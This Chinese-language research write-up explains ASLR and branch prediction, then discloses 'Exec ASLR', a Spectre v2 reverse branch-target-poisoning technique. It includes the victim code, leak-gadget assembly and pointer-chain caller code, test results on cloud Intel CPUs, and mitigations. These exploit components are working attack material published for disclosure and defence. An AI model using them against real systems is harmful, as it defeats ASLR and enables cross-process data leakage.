地址空间布局随机化(ASLR)是一种用于增加内存破坏攻击利用难度的缓解机制。例如,在缓冲区溢出漏洞场景中,试图构造返回导向编程(ROP)利用的攻击者需要知道链中gadget的地址。如果被利用的二进制文件的代码段被随机化,那么攻击者就很难为exploit选择正确的地址,从而使得利用不可行。
以下示例展示了地址如何被随机化:
#include <stdio.h>
void DoNothing();
void (*codePtr)() = DoNothing;
void DoNothing(){}
int main(int argc,char **argv){
printf("Destination %p\n",codePtr);
DoNothing();
}
每次执行时该值都会被随机化:
Destination 0x563714256149
Destination 0x556d8e2f1149
Destination 0x5618c8bdd149
Destination 0x55ee623b0149
最后12位 149 始终相同,但函数的实际位置大致可以在 0x550000000000 和 0x570000000000 之间的任意位置,这意味着有29位被随机化,占据约 0x200 0000 0000 或2.2 TB的潜在地址空间。
每条指令的处理都是一项艰巨的任务。单条指令处理的部分阶段包括:
为了提高CPU的指令吞吐量,指令的每个任务都由处理器的一个特定单元执行。所有单元并行工作,使CPU能够以更高的时钟速度运行,这就是流水线的概念。
| 操作 \ 时钟周期 | 1 | 2 | 3 | 4 | 5 |
|---|---|---|---|---|---|
| 取指 | A | B | C | ||
| 解码 | A | B | C | ||
| 执行 | A | B | C |
在循环1到5中执行指令A、B和C。例如,在第3个循环中,读取、解码和执行单元同时处于活动状态
然而,指令之间并不完全独立。例如,以下序列:
A. add ax,[bx]
B. jz $+1
C. mov dl,[rsi]
D. nop
在这种情况下,A指令在最好的情况下也只会到第3个周期才在执行阶段完成。然而,取指单元需要决定接下来从内存取出哪条指令,以及是否应该跳过指令C(mov dl,[rsi])。
在这种情况下,CPU可以选择等待指令A完成,而这要到第三个时钟周期才会发生,然后再从内存中取出正确的指令,例如,如果add操作返回0:
这意味着流水线会出现延迟,因为CPU必须等待指令执行完毕。在这个例子中,延迟只有一个时钟周期,但指令 add ax,[bx] 需要一次内存操作,如前所述,这可能要花费数百个周期才能完成,从而给处理器带来显著的性能开销。
更快的选择是尝试“猜测”正确的执行路径。CPU可以进行推测,判断分支是否会被跳转。之后,执行沿推测路径继续,并且只有在A指令结束后路径被证明正确时,这些值才会被提交。如果路径被证明是错误的,结果会被丢弃,状态会回滚到推测点之前。
回滚执行路径的唯一问题是CPU的微架构状态无法被还原。因此,如果CPU推测执行指令C(mov dl,[rsi]),由 rsi 指向的数据将被移入缓存。这种效果之后可以通过侧信道攻击来测量。

2位条件预测器。 https://en.wikipedia.org/wiki/Branch_predictor
不仅条件指令需要预测,间接分支也需要预测。CPU必须有一种机制来猜测如 call [rdi] 指令的目标地址。
Spectre v2漏洞表明,可以利用间接预测器在其他进程中实现瞬态执行:
摘自 https://spectreattack.com/spectre.pdf
当在上下文A中将call指令放在与上下文B中另一个call相同的虚拟地址时,攻击者可以训练CPU在上下文B中由攻击者选择的位置执行代码,这是一种代码复用攻击,类似于返回导向编程(ROP)。
目标受害者必须有一段称为“spectre gadget”的代码,能够通过侧信道攻击泄露秘密。要成功实施spectre攻击,攻击者还必须知道spectre gadget的位置。因此,在用户态对用户态的攻击中,使用ASLR保护受害者曾经是此类攻击的一种缓解措施。然而,也有一些利用微架构攻击提取ASLR的技术,例如Jump Over ASLR。不过,该技术泄露的位数有限,因为它依赖于直接预测器中的碰撞来绕过ASLR。
该预测器的内部机制如下所示:

摘自 https://spectreattack.com/spectre.pdf
其中的一些组件包括:
经典的spectre v2攻击布局如下所示:

getenv + secret[0]*4096 的spectre gadget可以使用libc作为共享内存泄露位于位置0的秘密值。Exec ASLR(又名Reverse Branch Target Buffer Poisoning)是一种利用spectre-BTI漏洞绕过ASLR的新技术。这种攻击利用的事实是,在经典的spectre-BTI场景中,不仅攻击者可以污染BTB,受害者也可以触发攻击者进程中的分支错误预测,使攻击者推测性跳转到受ASLR保护的地址。然后,通过利用侧信道泄露正在执行的地址,攻击者可以获取完整的目标地址,从而绕过目标进程的ASLR。
Exec ASLR攻击的布局如下所示:

在这种攻击中,不需要寻找spectre gadget,也不需要用于侧信道的共享内存,唯一的条件是要利用一个间接分支,所有spectre v2所需的gadget都放在攻击者进程内部。这种攻击唯一的新要求是能够将受害者的目标地址映射到你自己的进程中,因此例如这种攻击无法对抗KASLR。 这也不是暴力破解攻击,单次尝试就可以同时测试多个地址,但内存同时能容纳的“leak gadget”数量是有限的。与Jump Over ASLR相比,这显著减少了执行攻击所需的时间,从每秒约100个地址提升到每秒数千亿个地址。
Leak gadget使用probeArray来告知攻击者自己的gadget在哪里执行。它接收probeArray和要泄露的RIP索引作为参数,并执行一种无分支编程,以决定应该访问probeArray[0]还是probeArray[4096]。
lea rax,[rip - 7] ;load current address
shr rax,cl ;selects the bit using cl arg
and rax,1
shl rax,12 ;loads probearray
mov dl,[rsi+rax] ;or probearray+4096
如前所述,BHB用于选择BTB条目。为了找到BTB碰撞并利用此漏洞,攻击者必须知道最近执行的N个(如果小于skylake则为29个)分支。在我们的测试中,我们在间接调用之前使用for循环将BHB状态设置为已知值。以下是一个易受攻击的受害者代码示例:
#include <stdio.h>
void DoNothing();
void (*codePtr)() = DoNothing;
void DoNothing(){
return;
}
int main(){
printf("Destination = %p\n",codePtr);
while(1){
for(int i=0;i<200;i++){}
codePtr();
}
}
为了确保两个上下文中的BHB状态相同,攻击者将以shellcode形式复制对应于受害者for循环和call的字节。shellcode被复制到所有可能的256个位置,这些位置可以满足BHB状态一致所需的20LSB对齐。
Victim Code
0x5594c566a152 <+28>: mov eax,0xc8
0x5594c566a157 <+33>: dec eax
0x5594c566a159 <+35>: jne 0x1157 <main+33>
0x5594c566a15b <+37>: nop
0x5594c566a15c <+38>: nop
0x5594c566a15d <+39>: nop
0x5594c566a15e <+40>: lea rdi,[rip+0x2ecb]
0x5594c566a165 <+47>: call QWORD PTR [rdi]
--> Executes to
0x5594c5669135: ret
Attacker Code
… //eax=200 rsi=probeArray, cl=0
0x6a157 dec eax
0x6a159 jne 0x455555500157
…
0x6a165 jmp QWORD PTR [rdi]
--> Misspredicts to
0x5594c566a135: lea rax,[rip - 7]
0x5594c566a13c: shr rax,cl
0x5594c566a13f: and rax,1
0x5594c566a133: shl rax,12
0x5594c566a137: mov dl,[rsi+rax]
同时将gadget放置到所有可能的位置存在一个问题。在我们的测试中,ASLR将目标地址放置在 0x550000000000 和 0x570000000000 之间。这意味着有2.2TB的潜在虚拟地址需要映射,即5.37亿个leak gadgets。但系统只有8GB内存。 尽管可以使用COW映射2TB内存,但我们在这种方法上没有取得太大成功。我想这会给转换后备缓冲器(TLB)带来太大压力,使得推测到未翻译地址的速度太慢。 在测试中,我们创建了一个1GB的内存页,并填满leak gadgets。然后我们使用remap系统调用将该页在2TB范围内移动。 观察到的另一个问题是,推测地址可能不在TLB中,因为它实际上从未被执行过。但英特尔手册指出:
因此,为了增加“推测诱导”页遍历的机会,我们尽可能让正确地址难以被解析。这是通过对目标地址使用指针链来实现的。其思想是CPU前端会推测分支的目标,而重排序单元会在完成指针链读取之前执行leak gadget。
Improved Caller - Frontend fetched instructions
mov rcx,%1 ;mask arg for gadget
lea rsi,[%2] ;probe array ptr arg
lea rdx,[%0]
mov rdx,[rdx] ;pointer chain
mov rdx,[rdx]
mov rdx,[rdx]
...
mov rdx,[rdx]
mov rdx,[rdx]
check [rdx] ;mispredicts to gadget
lea rax,[rip - 7];speculative execution
shr rax,cl
and rax,1
shl rax,12
mov dl,[rsi+rax]
Improved Caller - Reorder unit scheduled instructions
mov rcx,%1 ;mask arg for gadget
lea rsi,[%2] ;probe array ptr arg
lea rdx,[%0]
mov rdx,[rdx] ;pointer chain
mov rdx,[rdx]
; <pagewalk occurs some where here>
... ;Out of order + speculation
lea rax,[rip - 7]
shr rax,cl
and rax,1
shl rax,12
mov dl,[rsi+rax]
...
mov rdx,[rdx]
mov rdx,[rdx]
check [rdx] ;the execution path reverted
这种乱序执行(Out Of Order)+ 推测执行的技术在攻击中提高了期望的错误预测率。
为了执行spectre V2攻击,攻击者必须与受害者在同一个核心上执行代码,以便它们共享同一个分支预测单元(BPU)。在 <= skylake 的CPU上,我们观察到可以通过超线程实现核心同驻。 Icelake和Cascade lake CPU实现了一种名为单线程间接分支预测器(Single Thread Indirect Branch Predictor,STIBP)的缓解机制,它将BPU在线程之间隔离。因此,需要在同一个线程上执行受害者和攻击者,并使用usleep在受害者和攻击者进程之间交替,这会使攻击者在这些CPU上变慢,如果不是因为这些代际的缓存(可能还有TLB)非常好,可以同时缓存更多gadget的话。
该技术已在谷歌云上可用的所有Intel CPU上进行了测试,包括N1和N2两代:
除了针对Cascade和Ice lake的exploits存在一些差异外,所有测试都能在10秒内以>99%的精度恢复地址。
缓解措施与用于缓解用户态到用户态攻击的Spectre V2相同。
间接分支预测屏障(IBPB)允许刷新BPU,并可在上下文切换时使用。在Linux中,可以通过 prctl 系统调用和 PR_SET_SPECULATION_CTRL 选项来使用IBPB。
我不知道Windows对应的缓解措施是什么,请告诉我。
https://cos.ufrj.br/uploadfile/publicacao/3061.pdf
https://www.youtube.com/watch?v=Qj4z-KvnkxU
https://docs.google.com/presentation/d/10t-oo-c26x9ydx1_FYgmhy204rxfmQ92eboPlCnA2y4/edit?usp=sharing
https://googleprojectzero.blogspot.com/2018/01/reading-privileged-memory-with-side.html https://eprint.iacr.org/2013/448.pdf https://spectreattack.com/spectre.pdf https://www.cs.ucr.edu/~nael/pubs/micro16.pdf http://download.vusec.net/papers/bhi-spectre-bhb_sec22.pdf https://www.kernel.org/doc/html/latest/userspace-api/spec_ctrl.html Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 3. Santa Clara, USA: Intel Corporation, 2016, iSBN 325384-060US
| 操作 \ 时钟周期 | 1 | 2 | 3 | 4 | 5 | 6 |
|---|
| 取指 | A | B | D | |||
| 解码 | A | B | D | |||
| 执行 | A | B | D |
| 操作 \ 时钟周期 | 1 | 2 | 3 | 4 | 5 | 6 |
|---|
| 取指 | A | B | (S) C | |||
| 解码 | A | B | (S) C | |||
| 执行 | A | B | (S) C |